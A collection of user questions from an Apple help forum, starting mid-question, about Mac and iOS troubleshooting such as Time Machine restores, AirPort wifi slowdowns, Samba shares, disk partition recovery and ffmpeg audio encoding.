Then I turned it on, and the Time Zone shows correctly (Vancouver).  However, when I go to edit an event it still shows as GMT.

Could you please help me with this...I don't think I can continue to use the software as is...

Please note that I'm NOT on ios-8, I'm on version 7.1.2.


texts: How can I increase spotify lock screen controls duration after pause?

texts:
While playing Spotify on my iPod Touch I have got some controls over the player on my lock-screen.

I have to pause the player a lot and wish I could play the songs instantly after some time again. But the controls are vanishing too quickly (after couple of minutes) and I have to type login again (pressing home button twice and typing my pass-code), which is very annoying as I have to do it very often…

(*How) can I increase the time to let spotify show the controls over a longer period of time?


texts: Why does Microsoft Office 2011 open automatically upon start up?

texts: Why do Microsoft Office Word, Excel, et cetera open automatically upon login although I've disabled the 'Open at login' feature?


texts: How to selectively copy parts of my Time Machine backup onto my new OS (Yosemite)?

texts:
I'm working with a 2013 iMac running with the newest Yosemite. There was something wrong on my system which required that I erase the internal HD and do a clean install. Fine. But when I use Migration Assistant to bring back the data it doesn't allow me to select, say, iTunes apart from all of my other "documents". That's a problem for two reasons:

1) It will take more than 24 hours to reinstall

2) It might add on whatever file corrupted my previous system.

I just got off the line with Apple Support and they had nothing apart from their manual, and my question was off manual.

What I would like to do is enter the existing copy of the TM backup so that I can selectively restore the files I know are not corrupt, like iTunes.

There must be some way to do this. I can't imagine Apple creating a backup plan where you'd put a corrupt OS back onto your system. Or it there another way, say through Terminal? My backup is 2TB and I'd prefer my computer not be out of commission for a full day while possibly corrupts files get loaded back into it.

Any help is appreciated.


texts: Change the default IMAP Inbox folder on Mail.app

texts: Ever since I started using Priority Inbox in Gmail I don't really care about my main INBOX folder on Mail.app. Is it possible to change the default INBOX folder to [Gmail]/Important?


texts: AirPort Time Capsule wifi is suddenly very slow: Boom network load

texts:
Background

I have a 5th generation AirPort Time Capsule, bought refurbished from Apple about 6 months ago. It is on software version 7.7.3 and has worked without issue until recently.

Problem

Two days ago the performance of my AirPort Time Capsule's wifi dropped dramatically.  Whereas before I had no problem with AirPlay, or streaming videos stored on the Capsule over wifi, now videos buffer every few seconds, and AirPlay is chopped up to smithereens.  Web browsing is also noticeably slower, and file transfer speeds to and from the device have fallen through the floor.

Diagnosis

The problem seemed to start a day or so after I added an HP Envy 5530 printer to my network, though this could just be a coincidence.

To get an idea of exactly how slow the wifi had become, I put my Mac directly next to the Capsule and timed copying a 2GB (16000Mb) file to and from the device:

To: 390s ≈ 41Mbps
From: 527s ≈ 30Mbps

Both are less than a tenth of the theoretical maximum of 450Mbps reported when I alt-click the wifi icon in the top bar, so something is clearly amiss.

To isolate the wifi as the culprit, I connected my Mac to the Capsule over an Ethernet cable.  I then saw that videos streamed without issue, files transferred at reasonable speed, and web browsing returned to normal.

To isolate environmental interference and/or my Mac's wifi client as the problem, I took the Capsule into the office and repeated the transfer using a  360MB file on a Windows laptop.  The results were even worse than above:

To: 88s ≈ 31Mbps
From: 136s ≈ 20Mbps

Here is a screenshot from iStumbler taken at home while a slow file transfer was in progress.  The top two networks are mine (5GHz and 2.4GHz) and it shows there is no channel contention.  The transfer occurred around the middle 50% of the graph.

Remedy

I tried a few things to fix the problem, but with no luck:

Ran Wireless Diagnostics but no problems were found.
Assigned the wifi channels manually to a few different random combinations.
Specified a different SSID for the 5GHz wifi and tried connecting through that.
Removed the HP software and deleted the printer from my Mac, and unplugged the printer from the wall.
Performed a factory reset of the Capsule.

Next steps

Short of returning the unit to Apple, is there anything else I should try?


texts: Use AirDrop between iPhone and older Macs (need "Don't see who you're looking for?" button on Mac)

texts:
I have a new Mac Mini, an old MacBook (which supports AirDrop but has on old Bluetooth module) and an iPhone.

When I need to AirDrop between my macs, in Mac Mini's AirDrop panel appear a button "Don't see who you're looking for?" which allow to work even with Macs with old Bluetooth module and Macs see each other.

Now I need to AirDrop between my MacBook and iPhone but, on my iPhone I can't find the "Don't see who you're looking for?" button so AirDrop doesn't work.

I tried this but it doesn't work...

Is there a way to solve?


texts:
Macbook screen goes black a few seconds after been woken or started up. I've tried everything outside of opening it up or bringing it back to the hive.

Has anyone else run into this issue, or am I a lonely sailor sailing up a creek of sticky brown paste that's not chocolate?

It's a Macbook 5,2 (early 2009, 10.5).


texts:
I got an iPhone 7+ on iOS 10.2 and I just got this sky blue dot next to an app, instead of the normal blue one.

As you can see in the screenshot, there's a real difference between the sky blue and the normal one

Do you guys know what that means?

Thanks


texts: Bonjour networked printer with Time Capsule in bridge mode

texts:
I have a 5th generation Airport Time Capsule as my primary router, and a 4th generation Airport Time Capsule in bridge mode, connected via cat5. When I connect my printer (a Brother HL-3040CN) to the 4th gen via USB, it's visible on the network and works fine. When I connect it by cat5 to one of the 4th gen's LAN ports, however, even though it seems to appear in the Bonjour list, from the 5th gen WiFi network I get "the printer is not responding". (This is after deleting it in the Printers and Scanners control panel and re-adding it as a new printer.)

Also suspicious is that when I try to ping the Bonjour address, brn001ba94e93ac.local, I get an IP address in the 192.168 range, even though the rest of my LAN is 10.0.

So I guess my questions are:

is this a configuration that should work?
why is the printer showing up as a Bonjour device if I can't connect to it?
why is the Bonjour address mapped to an IP on a nonexistent subnet?

Edited to add: Ping and traceroute both fail, and iNet Network Scanner shows it under "Bonjour browser" but not under "Network scanner".


texts: Can't delete one event from series in calendar.app from a google calendar

texts:
I have a series of events in a Google calendar that's connected to Calendar.app. When I try to delete one event (I confirm in the prompt that I want to delete the one event) in the series it reappears immediately.

How can I remove just one instance without it reincarnating?


texts: Can automator's Filter Finder Items process music based on length?

texts:
I want to make an automator workflow to find certain audio files in a folder, but I want it to look at the duration of those files.  I'm looking for quite short audio samples of under 2 seconds.  It doesn't appear to have the ability to filter by duration.  Is there any other way to accomplish this in Automator?

Alternatively I can easily make a Smart Folder that contains what I'm looking for, but then Automator cannot find the contents of said Smart Folder in order to further manipulate them.  Is there any way to get the contents of a smart folder in Automator?


texts: Macbook Pro 2012 shutsdown suddenly at 25% battery

texts:
I have a Macbook Pro Unibody Mid 2012 and used the battery for only 118 cycles.

Since a few weeks ago whenever I'm on battery and it reaches <25% my Macbook shuts down immediately (no warning, no saving, so all my work is gone if I let it happen)

I'm okay with battery losing 25% of its capacity! but shouldn't this be from the top? I mean it can just reach to 0 faster, or display warnings!

Battery is really working, it still holds for ~3 hours, and I just can't replace it yet (and also no warranty, no apple shop near me)

  Is there an application out there which can change my battery sensor functions and set 25% = 0% (I mean it works just like a normal Macbook with less capacity available on battery)?

P.S. Already tried installing Yosemite, and resetting SMC

When not on Battery:

Charge Information:
Charge Remaining (mAh): 5653
Fully Charged:  Yes
Charging:   No
Full Charge Capacity (mAh): 5653

Health Information:
Cycle Count:    118
Condition:  Normal
Battery Installed:  Yes
Amperage (mA):  0
Voltage (mV):   12529

When on Battery

Charge Information:
Charge Remaining (mAh): 5545
Fully Charged:  Yes
Charging:   No
Full Charge Capacity (mAh): 5696

Health Information:
Cycle Count:    118
Condition:  Normal
Battery Installed:  Yes
Amperage (mA):  -1149
Voltage (mV):   12361


texts:
I've been experiencing a strange thing in my MBP 2010 and only in OSX, haven't noticed this when I boot into Windows.

Noise happens for a second or two when changing state - loading pages, switching windows etc., this is the extreme occurence:

Here is the video of this, but less extreme (the section above the edit box jitters).

What could be causing this? It seems to be getting more frequent...


texts: How to replace Yosemite icons with those from Mavericks?

texts:
Before upgrading to Yosemite, I'd like to backup app icons from Mavericks, as the new icons are so ugly.

What's the best way to keep a full copy of old system icons from Mavericks?

UPDATE:

Finally, I do it one by one using Yuki Yamashina's method.


texts: Can I save a Note I created in my documents?  I don't know how to save a note to my documents folder or elsewhere.  I know there is Text Edit, but I have had it lose some important docs and don't trust it.  I would use it if someone could tell me how to find a doc that wasn't saved then computer shut down.  In Microsoft Word it auto saves.


texts: Why when I make a change to a project on xcode the previous project is affected?

texts:
I recognize that I'm new in using Xcode but I noticed A very strange behavior from XCODE, when I clone a project and I make changes in the Localizable.strings. these changes are automatically reflected in the previous project that was cloned.
So i have each time to update it, and when I update it the new project is affected.
Do you have any clue to stop this behavior.


texts: How to unlock iPhone 4 if original carrier doesn't provide the service?

texts:
I have two iPhone 4 locked by the original carrier. I can't get the factory unlock because this carrier don't provide this service.

I try to unlock via software but I can't, because the baseband (modem firmaware) are 04.12.02 (iOS 6.0.1) and 04.11.08 (iOS 5.0.1). Is not possible that I use Gevey, for the basebands. So, I think that I need wait for other new solution or maybe Apple unlock the all generation of iPhone 4.

If you know, other solution for me, please, help me. Because right now, I have only two iPod touch.

So, is possible that Apple unlock the all generation of iPhone 4?


texts: Why doesn't the Mac App Store Twitter app (v. 2.0.2) work well with Spaces?

texts:
It's something that drives me crazy. The current version (2.0.2) of the official Twitter app for Mac OS X doesn't behave well with Spaces. It moves from space to space when I select another application (switching with cmd TAB.)

Is there a way to fix this or do I have to wait for a new release?


texts: Problems writing to Samba-share via Files

texts:
I've created the following Samba-share to allow Apple-devices at home to dump pictures and scans directly:

[tmp]
   comment = Temporary file space
   path = /symbion/tmp
   read only = no
   browsable = yes
   public = yes

The user account used by the iDevices is mapped to nobody. The directory /symbion/tmp is owned by nobody and has the mode 1777. I can connect to the share using smbclient and upload any file.

However, when I connect from the iPad, I get the following two examples of buggy behavior:

Trying to create a new subfolder under the share, tells me, the operation can not be completed because access is denied. However, the subdirectory does get created...
Trying to save a file into the share -- both at the top or into the above-created directory -- hangs: the filename is shown on the iPad screen covered with the forever-circling temporary sign, the file never appears on the server.

The Samba is 4.10.15, running on FreeBSD-11.3. What am I doing wrong?

Update: upgraded Samba to 4.11.8 -- no changes in behavior :(


texts: OS X Lion SMB shared folder lost execute permission

texts:
After updating from 10.6.8 to Lion 10.7.0, my shared folder (shared over SMB) begin having strange problem with my Windows VM.

When I create a .exe file from my Delphi compiler or create simple test file from the Windows VM, OS X doesn't inherit the permissions anymore and sets them to read/write not read/write/execute.

This also causes problems with Windows, which gives me the error "unable privilege for execute".


texts: Long time ago I bound my right shift key to F3, how can I undo that?

texts: Basically, my shift key is being random. A long time ago, I set it to act like F3 (whatever that's called), and undid it. Now it's doing it again. How can I change it back to just shift? I can't seem to find the correct option in System Preferences>Keyboard>Keyboard shortcuts


texts: Import Google Reader subscriptions into Flipboard

texts: Is there a simple way to import my rss subscriptions from Google Reader(GR) into Flipboard(F). I know i can read the subscriptions in F, but want to really import them into F so i can access it in F after GR will shutdown.


texts:
I have attempted to improve the performance of a Mid 2011 27" iMac by booting from an external Thunderbolt SSD, specifically a Transcend 256 GB StoreJet 500. It may or may not be relevant that this does not have a separate power supply.

I have successfully installed High Sierra (10.13.2) on the drive, enabled TRIM and selected it as my startup disk in preferences, but when I first switch the computer on, it always boots from the internal hard disk. Only if I then login (which shows the external drive in Finder) and restart the computer does it boot from the external drive.

Also if I hold down ALT during the initial startup, only the internal disk is available.

I could live with this, but it's bugging me! Any idea what the issue could be, or any commands I can use to force the Mac to wait until the external drive is accessible before booting?


texts: Is it possible to have an app meant both for internal employees and external public in the App Store?

texts:
This question is regarding Apple rejecting the latest build of our iOS app and trying to find the best way to appeal the rejection. Here is the background:
My company has an iOS app that is used by our sales staff (internal company employees) to manage their day to day pipeline while on the go. Since the app is a major competitive advantage in the specific industry, we also advertise it to attract new sales people to come work for us. In order to have them experience the tech, we ask them to download the app, login with temporary credentials tied to their personal email IDs and play around with dummy data inside the app. Since we need the app to be publicly available for these individuals, we have so far published the app on the public app store instead of an enterprise store. While Apple approved our initial build about a year back and all subsequent updates, it recently rejected our latest build citing that the app should be in an enterprise store since it is being used for internal employees. While that does make sense given their policies, we are in a bind since the app also is used heavily in the recruitment process and hence needs to be available publicly.
Has anyone come across a similar situation with Apple? It's not clear why Apple suddenly decided to reject the app after having approved it multiple times over the last year. Were you able to convince Apple to reconsider the rejection, or is it a fruitless exercise?


texts:
I'm trying to update Infinity Blade 2 on my New iPad.

I have 1.7GB free
The existing app is 1.2Gb
The new version is only 1.03GB

But it won't let me update it, and says I have not enough free space?

I already rebooted, and I can probably delete and install, but would like to know the problem anyway.


texts: Filezilla Explicit FTP over TLS not working with Airport Extreme

texts: There is a security certificate exchange that occurs at the start of the connection process which doesn't seem to work when the Airport Extreme is used as the Internet access point.  When I switch to using my iPhone as a  Personal Hotspot, it works fine.  Any ideas on what the missing configuration might be?


texts: Does the MacBook Pro 15'' 8,2 Early 2011 accept both A1321 and A1382 batteries?

texts:
I have a MacBook Pro 15'' A1286, model 8,2 Early 2011 (with i7 @ 2,3 GHz).

Inside is a A1382 battery telling that it must be replaced.

I have in stock a A1321 battery which is in good condition.

The two batteries use same voltage, have same shape and the connector is at the same location. Furthermore, the both connectors plug without problem into the female socket on the motherboard.

The majority of vendors MacBook batteries commercialize:

the A1321 for 2009-2010 MacBook Pro
the A1382 for late-2011 and later versions of the MacBook Pro

For above MacBook models, the two batteries are uncompatile.
In this thread, Jozef Vaclavik explains that the order of pins is different, although the connector is same. With proper equipment and knowledge, the pins could be inverted.

But what about the early 2011  MacBook Pro 15''?
It seem that most vendors commercialize the A1382 battery for it, but some other commercialize the A1321.

I would be surprised if a corporation like Apple had designed a model that could possibly present a risk of battery explosion in case of a improper battery swap.

So, could the early-2011 MacBook Pro 15'' be a transition model and natively accept both batteries thanks to a voltage inverter on the board?

Is anyone using a A1321 battery inside the early 2011 MacBook Pro 15'' 8,2?


texts: Will the iPhone X be innoculated against Blueborne?

texts:
I will definitely be purchasing an iPhone X when it is released, it looks like the greatest iPhone ever invented, however some folks I've talked to who really dislike Macs have stated that all iOS devices are affected by Blueborne if they have Bluetooth, and that it's essentially impossible to be protected against without shutting off Bluetooth completely.

How true is this? Are all Apple devices at risk?


texts: Mac Mini Server starts to unreponsive desktop

texts:
I changed some of my file shareing options on my Mac mini (El Capitan) server and now it does not start.   It does shows desktop but i have no control  no menu bar (not even hidden) no dock, no spotlight ability... basically dead.   The option that I did was to remove the Home directory form the file sharing list.   I suspect that it i got it to remove all access to home folder for all users!    Any idea on how to fix this.

It is normally running without screen and mouse and keyboard so i remote desktop into it.   Remote desktopping into it shows the unresponsive desktop, but I can still use finder on other machines to access files on it.   My plan is to connect keyboard, mouse and screen to it and try to log in in single user or safe mode and try to fix permissions from there.    Any other clever suggestions?


texts:
Is it possible to build a DIY Fusion drive using 3 drives - 2 HD's and 1 SSD?

Will the Fusion machinery optimise on three levels i.e. SSD, then fast HD, then slow HD?

I have a mid 2011 27" iMac, with a 1 terabyte internal HD.  I also have a spare 1TB HD and a 256GB SSD recovered from another dead Mac.  I'm going to put one of these in using the iFixit installation kit, and the other in a caddy in place of the DVD drive.  Once I've done that, can I set all three up as a fusion drive?


texts: iChat can't authenticate to Lion Server 10.7.2

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I've enabled iChat and iCal Server through our local 10.7.2 Server which has DNS set up correctly. I can add the server account via a client's System Preferences (under other - Mac OS X server) and it authenticates with my shortname correctly.

However, when I load iChat, I get this error message:

Where the account is myusername@servername.ourdomain.co.nz.
The password and username is correct.

Console throws this error:

  22/11/11 3:03:31.135 PM imagent: [Warning] XMPPConnection: Error: Error Domain=XMPPErrorDomain Code=105 "The operation couldn�t be completed. (XMPPErrorDomain error 105.)" UserInfo=0x7f81bbe2a3e0 {XMPPErrorText=service requested for unknown domain}

DNS is set up correctly (it's working for Profile Management, Software Update Server and Web Services) but I can't get iChat to work correctly.

How can I get clients to authenticate?

FYI: It's probably worth noting that I get the exact same error messages when I use username@domain.co.nz instead of username@servername.domain.co.nz.

Also posted this question on Apple Discussion here.


texts: Download all linked files at once from a website in Safari

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I have build a Web Frontend for my own Server to share files with my co-workers. They can upload images and animation-videos there.

Now, if a co-worker has uploaded many files, it would be nice to download all of them all at once.

So I have a webpage with, lets say, 20 links. All of them are linking to files to another folder.

  Is there a PlugIn or anything to click once which follows the links
  and downloads the files?


texts: How can I send SMS messages from an iPad mini with cellular connection?

texts:
My mother has an iPad mini with a cellular connection.
We tried to send a SMS to her sister using iMessage but this does not appear to be working.
First I added her sister as a contact with the only contact info being her cellphone number.
However when I selected her sister as a recipient her name is shown in red and when I pressed send nothing happened.
Should this be possible?
I read that one can pair the iPad with an iPhone to get this working, but we do not have an iPhone.
I also contacted the mobile operator and the SIM card is ready for texting.
Is there some other app we can install on her iPad to get this working?
Or should we subscribe to a mail to SMS service?


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I'm trying to set up my PS1 setting in my .bash_profile for my company laptop (Touchbar Mac) and noticed special characters like \u and \w were being used literally. I tried using the single and double quotes, nothing worked.

When I echoed the default setting, I found it was using modulos. %n for username and %d for working directory. I've googled it a few times and haven't been able to find any resources.

Anyone seen this before? Any help would be appreciated.


texts: Recovering OS X partition: wrong boundaries calculated, can't mount disk0s2

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I followed the strategy of Klanomath (see link) in order to recover my lost OSX (el Capitan) partition (MBR overwritten by bootcamp Windows). In this procedure you have to find the right boundaries of your partition. But when I got my boundaries and created my partition, disk0s2 did not want to mount. This means the boundaries are not good.

This is my situation at the moment:

CJs-MacBook-Pro:~ root# gpt -r show /dev/disk0
      start       size  index  contents
          0          1         PMBR
          1          1         Pri GPT header
          2         32         Pri GPT table
         34          6
         40     409600      1  GPT part - C12A7328-F81F-11D2-BA4B-00A0C93EC93B
     409640  495406233      2  GPT part - 53746F72-6167-11AA-AA11-00306543ECAC
  495815873    1269536      3  GPT part - 426F6F74-0000-11AA-AA11-00306543ECAC
  497085409  302914591
  800000000  100000000      4  GPT part - 48465300-0000-11AA-AA11-00306543ECAC
  900000000    1269536      5  GPT part - 426F6F74-0000-11AA-AA11-00306543ECAC
  901269536   75503599
  976773135         32         Sec GPT table
  976773167          1         Sec GPT header
CJs-MacBook-Pro:~ root# diskutil list
/dev/disk0
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.1 GB   disk0
   1:                        EFI                         209.7 MB   disk0s1
   2:          Apple_CoreStorage                         253.6 GB   disk0s2
   3:                 Apple_Boot                         650.0 MB   disk0s3
   4:                  Apple_HFS TempSystem              51.2 GB    disk0s4
   5:                 Apple_Boot Recovery HD             650.0 MB   disk0s5
CJs-MacBook-Pro:~ root#

The borders I found:

1st HFSJ:  249128179712/512 = block 486578476
2nd HFSJ:  253857728000/512 = block 495815875

Do you have any suggestions?


texts: How to trigger lid close action programmatically?

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Is there a way to trigger the lid close action programmatically with a script or through terminal?

I am testing this by placing a small magnet near the SD slot on my MacBook Pro.


texts: Windows resized after sleep with external display connected to Macbook Pro via DP to Caldigi hub to TB3 cable

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I have an external display DELL U2715H Display connected to my MBP 2017(2xTB3)via mini Display Port and a CalDigit TS3 Plus. I use native res on the display 2560 x 1440 and my macOS version is Catalina (10.15.7). I am operating the computer with the laptop closed. When my laptop wakes up after a long sleep, all my windows are resized and moved, often between virtual desktops in spaces and are smaller than should be.
This problem only started after I "upgraded" from High Sierra to Catalina. When I open the clamshell the windows are properly scaled to the small screen.
Has anyone figured out how to fix this?  Is it related to spaces?  It seems I now have more spaces that I did prior to updating the OS.


texts: DiskUtility throwing "com.apple.disutility error 3" on "Operation failed with status 5" on Sierra while making image backup of main SSD

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On a MacBook Air running Sierra, I'm trying to create an image backup from my main SSD to an external USB disk using a clean shutdown, then during start: Command-R -> Disk Utility.

Both the main SSD and USB HDD get through "first aid" fine.

I'm not using file vault.

It fails right at the end (after the progress bar has been fully blue).

My Google tries all fail to return meaningful results:

https://www.google.com/search?q="disk+utility"+"error+3"+"status+5"
https://www.google.com/search?q="disk+utility"+"error+3"
https://www.google.com/search?q="disk+utility"+"status+5"

The only result is from someone trying to create an ISO image from an optical disk: https://discussions.apple.com/thread/7663155?start=0&tstart=0

This is the screen during backup (sorry for a non-PNG one: when in Command-R mode, I could not find a way to make a proper screenshot).

On a Retina MacBook Pro with Yosemite this works perfectly fine.


texts: how to keep low-res photos handy, while archiving high-res versions?

texts:
I have a laptop with a 256Gb SSD that always seems to be full.  A lot of my disk space is used by photos (in Aperture and iPhoto).

What I really want is to have low-res versions of all my photos on the SSD with high-res versions backed up to an external hard drive or Time Capsule.  If I'm visiting family and someone spontaneously decides that they want to see Christmas from 4 years ago, I want to at least have low-res versions to show, even if I need to go home to my external hard drive for high-res versions.  And I want it to sync, such that if I decide while I'm on the road that some photo is crap and delete it, that it deletes the high-res version when I plug back into my external hard drive.

This seems so logical to me that I'm constantly surprised that this problem doesn't seem to be solved.  Aperture "vaults" appear to be just a backup copy of the entire library; they don't let you delete the high-res versions from your main computer.

Am I missing something?  How do you keep photos from filling up the limited space on an SSD?


texts: Adding movie-style sound effects to the Terminal

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I want to have movie style sound effects in the terminal. You know, when every keystroke and line emits a cool little beep. (Something like this.) I've used KeyClick, but that's only for keyboard typing. I also want effects when characters are read across the screen, etc.

I know this is superflous as hell. And I'll probably get annoyed by it within five minutes. But it will be a glorious five minutes.


texts: How many times can I attempt to guess the pin code of the restrictions settings on iPad?

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I want to change some settings related to restrictions on my iPad but I don't remember the code I used to lock changes to restrictions. I have a few common variations to try, I'm certain it is one of them, but I noticed that the device counts the attempts I've already made.

Will I be blocked from further attempts at some point or is just an informative counter?


texts: Prevent Xcode windows from exiting fullscreen after wake from sleep?

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Often, when I log out of my computer, I'll enable "Reopen windows when logging back in". One of the first things I'll do when I log back on, is swipe over to my fullscreen Xcode project.

The Xcode window immediately exits fullscreen mode and animates back onto my desktop. This is super annoying to me, because the animation wastes time as I try to jump back into my workflow.

Is there any way to prevent the window from shrinking upon becoming active, or at least speed up or disable the animation?


texts: Can an iPhone 4S take microphone through audio jack?

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I can play audio of an iPhone 4S through the 3.5mm audio jack to headphones. I would like to use it with a headset that includes a microphone for making phone calls or recording audio. I'm not sure if it's compatible and have not found details from the technical specifications.

Can I speak and hear a phone call on an iPhone 4S with a headset that includes a microphone through the jack 3.5mm line?


texts: HIgh Sierra spell checker can't be disabled

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I have a Mac with High Sierra (10.13.6) and I am unable to disable the spell checker.

I've tried going to System Preferences -> Keyboard -> Text and unchecking all the boxes but the spell checker still works. Every time I type "echo singlequote" (singlequote was meant to be enclosed in diamonds) the system tries to guess what I'll type next.

I have also disabled System Integrity and renamed the /System/Library/Services/AppleSpell.service/Contents/Resources directory, but the system still tries to guess my typing every time I use quotes.

I don't have the issue on another machine with High Sierra.

I can't type without checking the screen every time I type a single or double quote, or even the ^ symbol. Having to hit the space bar every time I type a quote is driving me mad.

Does anyone know how to stop this spell checker from jumping in every time a type a quote?


texts: I have a DVD from my holiday a few years back in which I would like to place into my mac and view, and extract the video for my library. This is my only option. I was wondering if anyone knew how to view a DVD on a mac that has been formatted as a windows DVD? Whenever I insert it, I receive a message claiming that it's an empty disk, but I know it isn't. If anyone could help me that would be fantastic!


texts: Enter a filename in the File Open dialog

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Can I enter a path to a file and its name instead of selecting a file in Mac OS X file dialog?

I tried just typing into an open dialog but it will just try to "Go to a folder", it won't accept a full path.

I'm on Mac OS X Lion


texts: How do I delete/remove a home screen web link?

texts:
I recently created two web links using Safari's "Add to Home Screen" and now it seems to be impossible to remove them.

The following has been attempted (from http://www.peachpit.com/articles/article.aspx?p=1395687&seqNum=9):

  To remove a Web clip, tap-and-hold for a few seconds on it, until all
  the icons start to wiggle. You’ll see a little X in the upper-left
  corner of each Web clip (and app that can be removed). Simply tap the
  little X and then tap Delete from the dialog that appears. The Web
  clip will disappear, and your remaining icons will reshuffle. Tap the
  Home button to stop the icons from wiggling and lock them in place.

That X does not show up on my icons.. I can drag them around, even to other pages, group them in folders and bring them out again, but not delete them.


texts: ffmpeg transcoding audio to MPEG-4 HE AAC instead of AAC

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I have an Automator script that uses ffmpeg to re-encapsulate a video file into an mp4 container with its audio transcoded to aac while leaving the video as is.

for f in "$@"
do
    /Applications/Scriptlets/ffmpeg -i "$f" -c:v copy -c:a aac -b:a 384k -strict -2 "${f%.*}.m4v"
done

This works fine and the resulting video plays well on my system in both iTunes as well as Quick Time Pro; tried it with both avi and mov source files. However, I just noticed that the resulting files have their audio encoded to MPEG-4 HE AAC instead of plain AAC as intended. As a result, even though the file plays well on my Mac, I am unable to play it on my TV which recognizes AAC but not HE-AAC. Any workaround using ffmpeg? Please note that I am not interested in installing yet another encoding/transcoding application for this job. I only want to use ffmpeg so please do not suggest installing anything else.


texts: Unable to change payment information to NONE in iOS Appstore

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Ever since adding an iTunes gift card to my account, I'm getting verification requests like crazy. I can't even download free apps. It takes me to my payment info and when I try to select none, I continually get a message under the payment info that says "you must verify your payment info to continue"

I don't want a credit card on file and would really like the none option to work. My ID shows I still have iTunes credit.


texts: How to move window to different desktop via keyboard in Lion?

texts:
In Snow Leopard, to move a window to a different space, I had to use the mouse to select the window and use the keyboard to select the target space (e.g., ctrl + 1,2,3).

In Lion, what keyboard (maybe in slight conjunction with mouse as before) shortcuts can I use to move a window to a different desktop?


texts: If I exclude a folder from Time Machine, will it be deleted from old backups?

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I want to save space on my backup drive by excluding some folders I don't care about. I also want them to be deleted from my old backups so I can keep them for longer.

If I add folder exclusions, will the folders also be deleted from my backup drive?


texts:
macOS Sierra (10.12.6)

When I enter Exposé using any method, I select my desired window and it comes to the forefront, but then focus switches back to my previous app no matter what.

Example:

Doing something in Safari
Use Exposé to switch to Email (not app switcher)
Email comes to the front (or un-minimizes)
Safari comes back to the front

This also happens if I switch between windows of the same app. Meaning, if I switch from one email window to another email window via Expose, Safari again takes focus.

It's a simple bug with Exposé not giving focus to the correct app, but this all works perfectly on my other computer running Yosemite.


texts: How to disable animation on opening Notification Centre in macOS?

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I couldn't find it here. Perhaps you can't disable it but if you can I would love to know how.

My preference is for Notification Centre to open instantly.


texts: Just installed Maverick and my Canon MP780 will print but no longer scan, would a new driver help?

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I get a message in the Image Capture window saying: No camera or scanner detected.

Scanner worked with Mountain Lion, but is not working with Mavericks.
On Canons website, this is the message on Canon's MP780 for Mavericks OS:
"There is no driver for the OS Version you selected. The driver may be included in your OS or you may not need a driver."

I know the hardware (Canon MP780) works as I tried VueScan, and the hardware scanned with this program - but I would have to pay $40.00 for VueScan.
Hoping there is a driver that would allow me to use my current software, without purchasing VueScan.


texts:
I'm afraid I'm out of luck but...  I followed the directions in various places,

# hdiutil -nomount -noverify -noautofsck SecureRecords.sparsebundle
/dev/disk1
# fsck_hfs -drfy /dev/disk1
journal_replay(/dev/disk1) returned 22
** /dev/rdisk1
Using cacheBlockSize=32K cacheTotalBlock=49152 cacheSize=1572864K.
Executing fsck_hfs (version hfs-407.30.1).
Block 2 is not an MDB or Volume Header
Block 1953163 is not an MDB or Volume Header
volumeType is 0
0000:  0000 0000 0000 0000 0000 0000 0000 0000       |................|
. . .
01f0:  0000 0000 0000 0000 0000 0000 0000 0000       |................|
unknown volume type
primary MDB is at block 0 0x00
alternate MDB is at block 0 0x00
primary VHB is at block 0 0x00
alternate VHB is at block 0 0x00
sector size = 512 0x200
VolumeObject flags = 0x01
total sectors for volume = 1953165 0x1dcd8d
total sectors for embedded volume = 0 0x00
CheckForClean - unknown volume type
CheckHFS returned 6, fsmodified = 0

The underlying story is that this was in a directory being synced onto a Google Drive and I'm guessing Google Drive did something.  I last mounted this a month ago, and have used this like this for years.  The dates on the files in the bands/ directory are believable, with a couple bands dated on Feb 18, the last time I did anything.


texts: Preserve Window Spaces Placement Between Restarts

texts:
I use Spaces to organize the task I'm pursing. In that vein, I often will have a browser window on each Space, with open tabs relevant to that task that Space is used for.

For example, Space 1 is for Work. So in addition to work applications, I have a browser window open with tabs relevant to work. Space 2 is for Photography. And Space 3 is for just general browsing and social networking, etc.

I am easily able to put a different browser window into each space. The problem is that when I restart the computer, all windows appear in the first Space!

My browser is Chrome, and perhaps this is an issue I need to take up with the Chrome team. Or is this a bug in OS X Lion?


texts: Route the Audio Output to Input (not creating loop)

texts: Can we have whatever music we are playing whether from spotify, logic, itunes, instead of coming out of the main output, be a part of what goes in to the input on e.g. logic or skype.  This would allow people to listen to music together without going through speakers and mics, and to record to logic without having to upload a song file, e.g. the main output would be one track and the mic would be another, for a little two track action.  But on the skype side, you could turn the music vs. mic volume up or down to hear more of one vs the other.  It seems like this should be possible, but execution is way out of my league.  Anybody think it's doable?


texts: iPhoto not recognizing memory card, but mounts in Finder

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I am running Lion with most recent version of iPhoto.

I can access the memory card in Finder without problem, but when I launch iPhoto the card does not show up to import photos it contains. I have tried rebuilding my entire iPhoto database and settings by pressing option+command while the app is in the process of starting and selecting to rebuild.

Any ideas?


texts: I'd like to partition a hard drive with Windows installed on it (with bootcamp). I've tried using Disk Utility and GParted to do this, but unfortunately neither would let me. Are there any other programs I can use to partition the hard drive?


texts: The history is shared between my iTerm2 terminal tabs: how can I switch that off?

texts:
I am using iTerm2 (with zsh), and for some reason the history is shared between the different tabs and windows that are open. In most of the cases for me, this is annoying, since I have tabs per specific task, and if I have to redo some commands, I just want to be able to go back (up) in history to retrieve the last action for that window/tab only.

I have no idea how to disable this shared history, I read somewhere that you can enable shared history in zsh, but afaik I have done no such thing.

Can anybody point me in the right direction?


texts: Should I turn off external monitor when MacBook sleeps?

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I have a MacBook Pro. When I'm not using it - at lunch time and overnight - I put the MBP to sleep. This in turns sends the external monitor to sleep. However, should I be turning the external monitor off?

Will this save energy, money and the life span of the monitor - or the opposite?

EDIT

Further info. One of the reasons why I'm hesitate about turning the monitor off while the MacBook is asleep, is in the monitor installation instructions it states:

"Turn on the monitor first, then the computer. This sequence is very important."

It's not clear if this is just refering to the first time set up or if this sequence should be observed for ever.

I guess if I turn off the monitor while the MacBook sleeps, I could then follow the following sequence: turn monitor on, then wake MacBook.

Any thoughts?

SECOND EDIT

I've just checked the monitor Specifications. Bizarrely it says sleep mode used 0.5W and Off mode also uses 0.5W !!


texts: Can Numbers do conditional coloring of a cell based on a rule?

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I have a spreadsheet of open projects with payments for each milestone.
Right now I set a cell to red if the client still owes, green if the client paid, and no fill if we havent reached the milestone yet. What I would like to do is get a sum on all red cells and another sum on all green cells. My hope is to make it easy to see how much money has been paid and how much is owed.


texts: What SSD can I install in a Macbook Air 11" Early 2015 without affecting its sleep functionality?

